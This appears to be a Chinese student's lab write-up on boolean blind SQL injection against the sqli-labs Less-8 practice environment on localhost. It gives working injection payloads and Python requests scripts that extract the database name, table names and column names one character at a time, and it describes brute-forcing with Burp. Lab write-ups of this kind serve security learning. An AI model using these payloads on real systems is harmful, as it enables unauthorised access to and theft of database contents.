前言:之前通過前九關學習到了回顯注入、報錯注入等一些方法,這次就來詳細的學習布爾盲注。
首先來了解一下盲注的概念
盲注是注入的一種,指的是在不知道資料庫傳回值的情況下對資料中的内容進行猜測,實施SQL注入。
布爾盲注
原理:
注入的時候隻會傳回
True和False
,是以布爾盲注就是根據頁面顯示的是
True還是False
進行猜測資料庫中的資訊。
布爾盲注需要幾個函數的輔助,就先來了解一下這幾個函數
length()函數可傳回字元串的長度
substring()函數可以截取字元串,可指定開始的位置和截取的長度
ord()函數可以傳回單個字元的ASCII碼
char()函數可将ASCII碼轉換為對應的字元
具體的用法可以參考大佬的部落格Mysql文法介紹,接下來就通過sql-labs練習布爾盲注。
判斷注入點(也就是閉合符号)
發現輸入
id=1'
會報錯
http://127.0.0.1/sqli-labs-master/Less-8/?id=1'
在
id=1'
後再加上注釋符号後又回顯正确,是以判定閉合符号為
'
爆資料庫長度
知道閉合符号後,先來爆一下資料庫名的長度,這裡就用到上面所說的函數了
回顯正确
手工注入的話就要一遍一遍的試試,将後面的長度不斷增大,最後得出資料庫名的長度為
8
爆資料庫名
知道了資料庫名的長度,接下來就來爆破資料庫名
原理都一樣,目的就是取出資料庫名中的一個字元通過比較ascii碼來猜測出資料庫名,但是如果手動爆的話太浪費時間了,可以寫
腳本
,也可以用
burp爆破
,這裡兩種方法都試一下
burp爆破
先抓包
設定變量,這裡設定了兩個變量是以上面的框中要選
第四個選項
第一個變量設定為
numbers
1到8,第二個變量也設定為
numbers
0到127
分别設定好,然後開始爆破。
不過太慢了,應該是我burp設定的有問題,這裡就學習一下這種方法,爆破還是腳本來吧。
附上大佬部落格利用burp盲注
腳本爆破
目前腳本還不會寫,就參考大佬的學習一下
大佬部落格布爾盲注
腳本中一些不太懂的文法就參考下面大佬的部落格
Python requests
Python——入門級(定義功能def函數)
格式化輸出字元串
import requests
def database_len():
for i in range(1,10):
url = '''http://127.0.0.1/sqli-labs-master/Less-8/index.php'''
payload = '''?id=1' and length(database())>%s''' %i #格式化輸出字元串
# print(url+payload+'%23')
r = requests.get(url+payload+'%23')
if 'You are in' in r.text:
print(i)
else:
#print('false')
print('database_length:',i)
break
database_len()
def database_name():
name = ''
for j in range(1,9):
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = "http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and substr(database(),%d,1)='%s'" %(j,i)
# print(url+'%23')
r = requests.get(url+'%23')
if 'You are in' in r.text:
name = name+i
print(name)
break
print('database_name:',name)
database_name()
爆出了資料庫名和長度,接下來改payload爆出表名
payload:
修改一下腳本
import requests
def table_name():
name = ''
for j in range(1,9):
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = "http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),%d,1)))=ord('%s')" %(j,i)
# print(url+'%23')
r = requests.get(url+'%23')
if 'You are in' in r.text:
name = name+i
print(name)
break
print('table_name:',name)
table_name()
通過修改
limit 0,1
來擷取其他表名
爆出列名
payload:
修改腳本,跑出列名
import requests
def column_name():
name = ''
for j in range(1,9):
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = "http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),%d,1)))=ord('%s')" %(j,i)
# print(url+'%23')
r = requests.get(url+'%23')
if 'You are in' in r.text:
name = name+i
print(name)
break
print('column_name:',name)
column_name()
其他的修改
limit
後的值即可得出其他的列名
爆值
腳本還和上面的相同,隻不過改下payload,但是這個腳本是有缺陷的,就是在周遊,但是我們賦給
i
的字元隻有小寫的,有可能其他大寫的或特殊符号顯示不出來,隻要加上就行了。但是這樣做的話腳本跑的也會很慢,還是好好學習python,寫一個更加便捷的。
最後總結一下布爾盲注常用語句
爆資料庫長度
爆資料庫名
爆表名
爆列名
爆值
語句幾乎不變,根據需要加以改動即可,這次就先學習布爾盲注,接下來學習時間盲注。